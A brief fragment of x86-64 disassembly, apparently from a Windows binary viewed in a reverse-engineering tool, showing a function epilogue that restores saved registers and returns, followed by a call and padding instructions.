call fcn.1400077c0
lea r11, [rsp + 0xce0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001120
nop
int3